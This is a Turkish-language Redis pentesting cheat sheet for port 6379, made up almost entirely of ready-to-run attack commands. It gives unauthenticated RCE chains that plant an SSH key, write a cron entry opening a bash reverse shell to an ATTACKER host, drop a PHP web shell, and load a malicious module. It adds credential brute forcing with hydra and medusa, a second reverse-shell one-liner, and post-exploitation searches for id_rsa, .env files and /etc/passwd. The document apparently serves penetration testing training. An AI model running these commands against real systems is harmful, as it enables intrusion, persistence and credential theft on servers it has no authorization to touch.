Skip to content

6379 - Pentesting Redis

Redis rce

Auth’suz Redis bellek + dosya yazma primitifidir. authorized_keys, cron veya module load ile RCE. Hedef lab IP’si üzerinde komutları 6379 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 6379 doğrula.

  2. INFO/CONFIG unauth.

  3. Yazma yolu seç.

  4. Shell doğrula.

Terminal window
nmap -Pn -sV -p6379 TARGET
Terminal window
nmap -Pn -p6379 --script redis-info TARGET
Terminal window
redis-cli -h TARGET info
Terminal window
redis-cli -h TARGET CONFIG GET dir
Terminal window
redis-cli -h TARGET <<'EOF'
CONFIG SET dir /home/user/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\nssh-rsa AAAA...\n\n"
SAVE
EOF
Terminal window
redis-cli -h TARGET CONFIG SET dir /var/spool/cron
Terminal window
redis-cli -h TARGET SET x '\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/443 0>&1\n'
Terminal window
redis-cli -h TARGET CONFIG SET dir /var/www/html
Terminal window
redis-cli -h TARGET SET x '<?php system($_GET[c]); ?>'
Terminal window
redis-cli -h TARGET MODULE LOAD /tmp/exp.so
Terminal window
redis-cli -h TARGET -a password ping

Redis için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p6379 TARGET
Terminal window
nmap -Pn -p6379 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:6379' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',6379));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Redis
Terminal window
hydra -L users.txt -P rockyou.txt -s 6379 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 6379
Terminal window
nmap -p6379 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Redis
Terminal window
msfconsole -q -x 'search Redis; exit'
Terminal window
nuclei -u https://TARGET:6379 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:6379 -tags tech -silent || true
Terminal window
nc -nv TARGET 6379
Terminal window
printf '
' | timeout 3 nc -nv TARGET 6379
Terminal window
curl -vk --http1.0 http://TARGET:6379/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
unauth redis → CONFIG WRITE → ssh/cron/web → shell